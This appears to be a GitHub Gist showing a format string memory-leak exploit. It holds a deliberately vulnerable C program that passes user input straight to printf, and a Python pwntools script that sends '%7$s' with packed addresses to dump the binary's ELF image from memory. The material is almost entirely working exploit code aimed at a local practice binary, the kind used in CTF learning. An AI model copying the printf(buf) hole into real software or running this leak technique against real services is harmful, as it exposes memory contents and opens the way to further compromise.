Last active
December 23, 2016 14:45
-
-
Save segfo/121bcedd5a5802d98f26a40e718cb307 to your computer and use it in GitHub Desktop.
fsbを利用したELFファイルのリーク
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
int main() | |
{ | |
char buf[81]; | |
printf("plz, tell me yo name: "); | |
buf[read(0,buf, sizeof(buf)-1)]='\0'; | |
printf("Hi, "); | |
printf(buf); // I'm here XD | |
return 0; | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
from pwn import * | |
from hexdump import * | |
def leakElf(readAddr = 0x400000,padd = "PPPP",leakSize = 0x1000): | |
cnt=0 | |
recvData="" | |
while True: | |
r=process("./a.out") | |
r.sendline("%7$s"+padd+p64(readAddr)) | |
try: | |
r.readuntil("plz, tell me yo name: Hi, ") | |
except: | |
return recvData | |
d=r.read() | |
d=d[:d.find(padd)] | |
if d == "": | |
d +="\x00" | |
recvData+=d | |
readAddr+=len(d) | |
r.close() | |
cnt+=1 | |
if cnt > leakSize: | |
return recvData | |
recvData=leakElf() | |
hexdump(recvData) | |
f=open("leakElf2","wb") | |
f.write(recvData) | |
f.close() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment